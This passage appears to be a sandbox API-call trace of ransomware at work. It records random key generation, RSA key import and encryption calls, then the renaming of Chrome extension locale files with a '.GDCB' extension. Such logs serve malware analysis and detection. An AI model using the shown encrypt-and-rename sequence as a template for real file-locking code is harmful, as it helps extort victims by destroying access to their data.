szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.084] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b7e0) returned 1 [0274.084] CryptGetKeyParam (in: hKey=0x679b7e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.084] CryptEncrypt (in: hKey=0x679b7e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.084] GetLastError () returned 0x0 [0274.084] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.084] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.086] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.089] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.092] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2ae, lpOverlapped=0x0) returned 1 [0274.101] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.108] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0274.115] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.118] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.121] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.121] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.121] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.127] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.127] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.127] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.128] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.131] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b7a0) returned 1 [0274.131] CryptGetKeyParam (in: hKey=0x679b7a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.131] CryptEncrypt (in: hKey=0x679b7a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.131] GetLastError () returned 0x0 [0274.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.131] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.133] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b820) returned 1 [0274.133] CryptGetKeyParam (in: hKey=0x679b820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.133] CryptEncrypt (in: hKey=0x679b820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.133] GetLastError () returned 0x0 [0274.133] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.133] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.134] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.137] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.140] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2bb, lpOverlapped=0x0) returned 1 [0274.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.166] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0274.178] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0274.181] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.184] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.184] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.184] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.184] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0274.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.189] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.189] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.189] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.192] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b1a0) returned 1 [0274.192] CryptGetKeyParam (in: hKey=0x679b1a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.192] CryptEncrypt (in: hKey=0x679b1a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.192] GetLastError () returned 0x0 [0274.192] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.192] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.194] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b4e0) returned 1 [0274.194] CryptGetKeyParam (in: hKey=0x679b4e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.195] CryptEncrypt (in: hKey=0x679b4e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.195] GetLastError () returned 0x0 [0274.195] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.195] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.199] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.202] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x284, lpOverlapped=0x0) returned 1 [0274.211] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.217] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.gdcb")) returned 1 [0274.224] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.227] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.230] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.230] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.230] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.230] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0274.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.235] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.235] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.236] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.236] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0274.239] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b5e0) returned 1 [0274.239] CryptGetKeyParam (in: hKey=0x679b5e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.239] CryptEncrypt (in: hKey=0x679b5e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.239] GetLastError () returned 0x0 [0274.239] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.239] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.241] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b0e0) returned 1 [0274.241] CryptGetKeyParam (in: hKey=0x679b0e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.241] CryptEncrypt (in: hKey=0x679b0e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.241] GetLastError () returned 0x0 [0274.241] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.241] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.243] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.246] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.248] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x282, lpOverlapped=0x0) returned 1 [0274.257] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.264] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0274.289] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.293] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.294] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.295] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.295] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.295] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.297] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.299] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.299] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.299] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.300] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.302] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b220) returned 1 [0274.302] CryptGetKeyParam (in: hKey=0x679b220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.302] CryptEncrypt (in: hKey=0x679b220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.302] GetLastError () returned 0x0 [0274.302] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.302] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.304] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b8a0) returned 1 [0274.304] CryptGetKeyParam (in: hKey=0x679b8a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.304] CryptEncrypt (in: hKey=0x679b8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.305] GetLastError () returned 0x0 [0274.305] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.305] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.306] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.309] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.312] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x29a, lpOverlapped=0x0) returned 1 [0274.344] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.351] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0274.357] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.361] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.364] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.364] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.364] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.364] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.368] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.370] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.370] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.370] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.371] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0274.373] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b3e0) returned 1 [0274.373] CryptGetKeyParam (in: hKey=0x679b3e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.373] CryptEncrypt (in: hKey=0x679b3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, 